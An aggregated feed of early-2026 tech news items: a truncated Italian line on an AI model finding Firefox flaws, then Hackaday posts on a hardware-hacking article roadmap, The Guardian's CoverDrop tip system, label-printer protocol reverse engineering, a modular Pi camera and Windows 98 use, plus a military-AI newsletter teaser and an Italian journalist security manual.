In sole due settimane, Claude Opus 4.6 ha individuato 22 falle nel motore JavaScript e nel codice base di Firefox, 14 delle quali con elevato livello di gravità. È la dimostrazione che l'IA è ormai una risorsa operativa di primo

2026-03-09 15:30:00 UTC

Take a Ride on wrongbaud’s Hardware Hacking Highway
Regular Hackaday readers will no doubt be familiar with the work of Matthew Alt, AKA [wrongbaud]. His deep-dive blog posts break down hardware hacking and reverse engineering concepts in an engaging way, with practical examples that make even the most complex of topics approachable.
But one of the problems with having a back catalog of written articles is making sure they remain accessible as time goes on. (Ask us how we know.) Without some “algorithm” at play that’s going to kick out the appropriate article when it sees you’re interested in sniffing SPI, there needs to be a way to filter through the posts and find what’s relevant. Which is why the new “Roadmap” feature that [wrongbaud] has implemented on his site is so handy.
At the top of the page you’ll find [wrongbaud]’s recommended path for new players: it starts with getting your hardware and software together, and moves through working with protocols of varying complexity until it ends up at proper techno wizardry like fault injection.
Clicking any one of these milestones calls up the relevant articles — beginners can step through the whole process, while those with more experience can jump on wherever they feel comfortable. There’s also buttons that let you filter articles by topic, so for example you can pull up anything related to I2C or SPI.
Further down the page, there’s a helpful “Common Questions” section that gives you a brief overview of how to accomplish various goals, such as identify an unknown UART baud rate, or extract the contents of an SPI flash chip.
Based on the number and quality of the articles, [wrongbaud]’s site has always been on our shortlist of must-see content for anyone looking to get started with hardware hacking, and we think this new interface is going to make it even more useful for beginners who appreciate a structured approach to learning.
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2026-03-09 14:00:00 UTC

Secure Communication, Buried In A News App
Cryptography is a funny thing. Supposedly, if you do the right kind of maths to a message, you can send it off to somebody else, and as long as they’re the only one that knows a secret little thing, nobody else will be able to read it. We have all sorts of apps for this, too, that are specifically built for privately messaging other people.
Only… sometimes just having such an app is enough to get you in trouble. Even just the garbled message itself could be proof against you, even if your adversary can’t read it. Enter The Guardian. The UK-based media outlet has deployed a rather creative and secure way of accepting private tips and information, one which seeks to provide heavy cover for those writing in with the hottest scoops.Hiding In Plain Sight
There are plenty of encrypted messaging apps out there, of greater or lesser value. Ultimately, though, they all have a similar flaw. If you have one of these ultra-secure apps on your phone, or malicious authorities capture you sending lots of messages to such a server, it can be somewhat obvious that you’re doing something worth hiding. You might not be—you might just have a penchant for keeping your fantasy football submissions under wraps. Regardless, using heavily-encrypted messaging systems can put a bit of a beacon on you, at a time when you might be hoping to stay as unobtrusive as possible.
The CoverDrop system is built to maintain message security while also providing deniability for those using the system. Credit: The Guardian via Github
It’s this precise problem that The Guardian and developers at the University of Cambridge hoped to solve with the CoverDrop messaging system. It’s designed specifically for users of news apps to be able to make confidential submissions to journalists without leaving a telltale trail of evidence that could reveal their actions. It’s intended to be suitable for implementation by a wide range of news agencies if so desired, as laid out in the project white paper.
The CoverDrop system uses multiple techniques to not just encrypt messages, but hide whether or not any messaging is happening in the first place. The key is that CoverDrop is integrated into every copy of the Guardian’s news app out there, and each app sends small amounts of encrypted information to the system at regular intervals. Most of the time, this is just meaningless text with no information content whatsoever.
Messages sent via the app are encrypted, and are only retrievable with the use of the correct passphrase. Otherwise, the app will appear as if no messages were sent at all. Still, this doesn’t stop malicious interrogators from beating you if they think you’re holding out on coughing up a passphrase, regardless of if you have one or not. Credit: The Guardian via Github
That is, unless somebody has a message to send to a journalist. In that case, the message and the source’s public key is encrypted with the journalist’s public key, packaged up, and sent in such a way that it appears fundamentally no different to any other garbage message that is being sent to the CoverDrop servers. Both real and cover messages are encrypted the same way and have the same length, and are sent at the same times, so anyone monitoring network traffic won’t be able to tell the difference.
At the receiving end, CoverDrop’s secure servers remove an initial layer of encryption to filter out real messages from the cover messages. These are then provided to journalists via a dead drop delivery system, which pads the still-encrypted real messages with some cover messages to ensure the drops are always the same size. In the event a dead drop contains a message for a given journalist, they can decrypt it since it was encrypted with their public key in the first place. Since the messages also include the source’s public key, replies can be sent in the reverse fashion in a similarly secure way.
The system is designed for secure two-way communication between journalists and sources. This means if you want to chat securely with your friends, one of you has to get a job at The Guardian. Whether that’s a price worth paying is for you to decide. Credit: The Guardian via Github
As for on-device security, the system is designed to be as unrevealing as possible as to whether it has been used for secure messaging or not. Message storage vaults used by the app are encrypted, maintained at a regular size, and are routinely modified at regular periods whether covert messages are being sent or not. Unless the decryption passphrase is known, there is no obvious evidence that the app has been used to send any messages at all.
For those eager to implement the system, or merely audit its functionality, the CoverDrop codebase is available on Github. Providing a secure and deniable method of submitting sensitive tips is desirable to many newsrooms, which could lead to wider adoption or similar systems popping up elsewhere. Of course, no system is absolutely secure, but having a messaging system that focuses on more than just simple encryption will be a boon to those looking to communicate with less fear of surveillance or retribution.
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2026-03-09 12:00:42 UTC

The AI military industrial complex
IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and given what's going on in the world, we all need a little pick-me-up. For that, I give you this story from the United Kingdom. Enjoy.
— How governments deploy artificial intelligence within their militaries is starting to divide between those seeking guardrails, and those who are not.
— The European Parliament is expected to outline its approach next week to proposed changes to the bloc's AI Act. That will set off five-months of intense negotiations.
— Young Europeans are using AI tools at twice the rate compared to the total population.
Let's get started:
digitalpolitics.co/newsletter0…
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2026-03-09 11:00:05 UTC

The Moon is Safe, For Now: No Collision in 2032 After All
When Asteroid 2024 YR4 was first discovered, it created a bit of a kerfuffle when it was reported it had a couple-percent chance of hitting the Earth in 2032. At 60 meters (196 feet) across, this would have been in the “city killer” class that nobody really wants to see make landfall, so NASA and the ESA scrambled all assets to refine its trajectory in time to do something about it. Amongst those assets was the James Webb Space Telescope (JWST), which is now reporting it will miss both us and our moon.
Even with the JWST, asteroid 2024 YR4 only fills a few pixels.
We reported that JWST was being tapped for this task over a year ago, when the main concern was still if YR4 might hit Earth or not. An Earth impact was fairly quickly ruled out as the window narrowed to include only to Earth’s moon, and concern shifted to excitement. A city killer striking Earth is obviously bad news. The same thing happening to the Moon is a chance to do science — and 2032 would have been plenty of time to get assets in place to observe the impact.
Unfortunately for the impact-curious, JWST was able to narrow down the trajectory further — and we’ve now gone from up to a 4% chance of hitting Luna to a sure miss of 20,000 km or more.
As this game of cosmic billiards we call a solar system continues, it’s only a matter of time before Earth or her moon is struck by another object. Unless we can deflect it, that is — NASA and partnering agencies have been testing how to do that.
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2026-03-09 08:45:14 UTC

Manualetto di sicurezza digitale per giornalisti e attivisti
Quando c’è una guerra, la prima vittima è la verità.
Come scriveva Lao Tzu nel V secolo avanti Cristo, l’inganno in una guerra può determinare un vantaggio strategico e, forse, vincere senza combattere. Indurre in errore un avversario, sottrargli dati e informazioni, manipolare le sue percezioni per fargli fare scelte sbagliate è alla base di ogni conflitto, variamente declinato.
Ma è solo di recente che la produzione industriale di bufale è diventata tanto pericolosa da colpire prima i civili e solo dopo i militari. Ed è solo da quando esiste il web che i servizi segreti hanno incominciato a unire la disinformazione tradizionale con l’hack and leak, la sottrazione di informazioni e la loro divulgazione controllata attraverso i siti web e poi i mezzi a stampa.
Nel 2014 i servizi segreti russi si sono infilati nella posta elettronica di alcuni diplomatici occidentali per depositarvi all’interno finte prove di una cospirazione angloamericana per fare cadere il governo ucraino di Petro Poroshenko.
Come ci si difende dalla disinformazione? E, viceversa, come si proteggono le fonti, si verificano i fatti e si tutela chi li racconta? In un’epoca di inganni, i giornalisti che per mestiere raccontano i conflitti grandi e piccoli sono bersaglio di spioni e sabotatori, cricche di potere e investigatori digitali.
Il Manualetto di sicurezza digitale per giornalisti e attivisti parla di questo, di come imparare a proteggersi senza aspettare che lo faccia qualcun altro, di come avere una buona manutenzione dei propri dispositivi digitali fino all’impiego oculato della posta elettronica e agli strumenti di crittografia contro le intrusioni indesiderate.
Realizzato da un gruppo di giornalisti riuniti intorno al progetto di Guerre di Rete capitanato da Carola Frediani, il manualetto, in versione .pdf, e-book ed e-reader, è di agile e semplice lettura, ricco di argomenti, gratuito, e senza la pretesa di essere esaustivo. Un primo passo per lavorare in serenità, nel rispetto delle regole deontologiche.
Quanto alla qualità del giornalismo, beh, quella non può essere garantita dai manuali, dipende dall’onestà intellettuale di chi lo fa e dalla libertà che ti è concessa dai limiti e dai vincoli di una professione sempre più necessaria.
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2026-03-09 08:00:34 UTC

Reverse-Engineering the Bluetooth Fichero Thermal Label Printer Protocol
It’s hard to deny that label printers have become more accessible than ever, but an annoying aspect of many of these cheap units is that their only user interface is a proprietary smartphone app connected via Bluetooth. The Fichero-branded label printer that [0xMH] obtained for a mere 10 Euro at a store in the Netherlands was much the same, with an associated app that doesn’t just bind it to smartphones, but also requires no fewer than 26 permissions. Obviously this required some reverse-engineering of the BLE protocol.
The fruits of this reverse-engineering effort can be found in the GitHub repository, with the most interesting part probably being that this Fichero is just one of many relabeling of generic label printers, this one being an AiYin D11, by Xiamen Printer Future Technology. This means that other iterations of this D11 will work exactly the same, as they all use the same ‘LuckPrinter’ SDK.
[0xMH] provides a Web GUI to talk with a local D11 printer, though you can also use the Python scripts, or of course implement the protocol using your favorite language and frameworks, so that you can finally control a cheap label printer from a PC or even BLE-equipped MCU like the software gods intended.
Thanks to [T-ice] for the tip.
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2026-03-09 02:00:00 UTC

Experiment With The Pi Camera The Modular Way
The various Raspberry Pi camera modules have become the default digital camera hacker’s tool, and have appeared in a huge number of designs over the past decade. They’re versatile and affordable, and while the software can sometimes be a little slow, they’re also of decent enough quality for the investment. Making a Pi camera can be annoying though, because different screens, lenses, and modules have their own mounting requirements. [Jacob David C Cunningham] has a solution here, with a modular Raspberry Pi camera, as an experimentation platform for different screens and lenses.
It takes the form of a central unit that holds the Pi and its support components, and front and rear modules for the screens or displays. Examples are given using the HQ and non-HQ modules, as well as with round or rectangular displays.
When designing a camera for 3D printing it’s a very difficult task, to replicate or exceed the industrial design of commercial cameras. Few succeed, and we’d include ourselves among that number. But this one comes close; it looks like a camera we’d like to use. We like it.
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2026-03-08 23:00:45 UTC

Hackaday Links: March 8, 2026
As pointed out by Tom’s Hardware, it’s been 26 years since the introduction of the gigahertz desktop CPU. AMD beat Intel to the punch by dropping the 1 GHz Athlon chip on March 6th of 2000, and partnered with Compaq and Gateway (remember them?) to deliver pre-built machines featuring the speedy silicon just a week later. The archived press release announcing the availability of the chip makes for some interesting reading: AMD compares the accomplishment with Chuck Yeager breaking the sound barrier, and mentions a retail price of $1,299 for the CPU when purchased in 1,000 unit quantities. In response Intel “launched” their 1 GHz Pentium III chip two days later for $990, but supply problems kept it out of customer’s hands for most of the year.
Speaking of breaking a barrier, Mobile World Congress took place this week in Barcelona, where TechCrunch reports there was considerable interest in developing a sub-$50 smartphone. The GSM Association’s Handset Affordability Coalition is working with major telecom carriers in Africa and as of yet unnamed hardware partners to develop the low-cost 4G device with the hopes of bringing an additional 20 million people online. While the goal is worthy enough, industry insiders have pointed out that the skyrocketing cost of memory will make it particularly challenging to meet the group’s aspirational price point.
Swapping out busted ports is a breeze on the new ThinkPads.
While we’re big fans of affordable hardware at Hackaday, we’re less enthusiastic when it comes at the cost of repairability. It seems that won’t be a problem with Lenovo’s new T14 and T16 ThinkPads however, as earlier this week iFixit announced they were giving the laptops a provisional repairability score of 10 out of 10. As impressive as this sounds, there’s a bit of a caveat here: Lenovo apparently achieved this milestone by working closely with iFixit to identify pain points that could be improved.
Of course, this doesn’t invalidate the work both companies put into these new machines, but you do have to wonder if it didn’t put a thumb on the scale. To address this there’s an Editor’s Note at the top of the post denying that any preferential treatment was given while scoring.
Although we’re thrilled to see a manufacturer other than Framework actually put effort into making their laptops cheaper and easier to repair, it’s a shame that things have gotten to the point that repairability is now considered a special feature. We’re not just talking about computers either; modern cars are notoriously difficult to work on, and electrics doubly so. Which is what makes the Aria EV so appealing.
Developed by students at the Eindhoven University of Technology in the Netherlands, the electric car is designed to be as repairable as possible. Before you get too excited, the idea isn’t to try and get the car to market. In fact, the team cautions that the vehicle isn’t technically street legal. Rather it serves as an technical demonstrator and test bed for concepts that one day the major players might include in their own vehicles, such as using multiple smaller battery packs that are easier to service than one gargantuan array of cells.
Finally, we’re not quite sure how long it’s been around, but we’ve been having a blast browsing through Famelack recently. It allows you to watch free Internet TV streams from all over the world right in your browser. The About page mentions several open source projects being used under the hood, such as Three.js, which powers the slick 3D globe used to select which country you want to tune into. Perhaps most notably however, it’s using the collection of streams curated by the iptv-org project, a valuable resource to keep in mind for future projects. If you end up watching anything particularly noteworthy, let us know in the comments.
See something interesting that you think would be a good fit for our weekly Links column? Drop us a line, we’d love to hear about it.
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2026-03-08 20:00:00 UTC

How Usable is Windows 98 in 2026?
With the RAM and storage crisis hitting personal computing very hard – along with new software increasingly suffering the effects of metastasizing ‘AI’ – more people than ever are pining for the ‘good old days’. For example, using that early 2000s desktop PC with Windows 98 SE might now seem to be a viable alternative in 2026, because it couldn’t possibly make things worse. Or could it? As a reality check, [SteelsOfLiquid] over on YouTube gave this setup a whirl.
The computer of choice is a very common Dell Dimension 2100, featuring a zippy 1.1 GHz Intel Celeron, 256 MB of DDR1, and a spacious 38 GB HDD. Graphics are provided by the iGPU in the Intel i810 chipset, all in a compact, 6.9 kg light package. As an early Windows XP PC, this gives Windows 98 SE probably a pretty solid shot at keeping up with the times. At least the early 2000s, natch.
Of course, there is a lot of period-correct software you can install, such as Adobe Photoshop 5, MS Office 97 (featuring everyone’s beloved Clippy), but a lot of modern software also runs, with the Retro Systems Revival blog documenting many that still run on Win98SE in some manner, including Audacity 2.0. This makes it totally suitable for basic productivity things.
YouTube in Netscape 4.5 on Windows 98. (Credit: Throaty Mumbo, YouTube)
Gaming on Win98 is naturally limited to games from around that early 2000s time period or before, but the gaming library even for just Win98 and MS-DOS is pretty massive, so as long as you’re fine not playing the latest and greatest games, this is also pretty easy.
Where things get dicey is of course with using the modern Internet, as you need a modern browser and support for the latest TLS encryption features to not have many websites throw a hissy fit. Using Frog Find and similar proxies that target retro computing help here, fortunately.
Previously we covered ways that you can use Discord even on Windows 95 and Windows NT 3.1, others have ported .NET applications to Windows 9x, got Win98 up and running on a 2020-era system, and you can totally use modern YouTube in even the Netscape 2.x browser using an NPAPI plugin.
Although there are many arguments to be made for using at least a Windows version with an NT kernel over the 9x one, it’s hard to deny that software Back Then was less complex, less resource-hungry and still got all the things done. Maybe it is worth another look, before the AI Crisis forces us all back on Windows XP systems like the one featured in this video.
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